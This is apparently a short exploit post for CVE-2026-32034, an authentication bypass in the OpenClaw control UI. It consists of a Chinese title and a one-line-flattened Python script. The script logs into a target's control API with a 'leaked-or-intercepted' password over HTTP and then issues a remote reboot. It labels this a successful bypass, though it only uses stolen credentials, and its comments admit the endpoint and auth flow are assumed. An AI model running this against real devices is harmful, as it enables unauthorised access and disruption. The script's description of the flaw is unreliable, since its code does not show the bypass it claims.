CVE-2026-32034 OpenClaw控制UI认证绕过漏洞

import requests # Target configuration target_url = "http://<target-ip>/api/control" username = "admin" password = "<leaked-or-intercepted-password>" # Exploit the authentication bypass over HTTP # Since allowInsecureAuth is enabled and transport is HTTP, # standard authentication grants high privileges. session = requests.Session() # Login payload or direct auth header depending on implementation # Assuming a cookie-based or token-based auth flow that is vulnerable payload = { "username": username, "password": password } try: # Send authentication request response = session.post(target_url + "/login", data=payload, verify=False) if response.status_code == 200: print("[+] Authentication bypass successful!") print("[+] Accessing Control UI...") # Example action: Reboot device action_response = session.post(target_url + "/reboot") print("[+] Device reboot status:", action_response.status_code) else: print("[-] Failed to bypass authentication") except Exception as e: print(f"Error: {e}")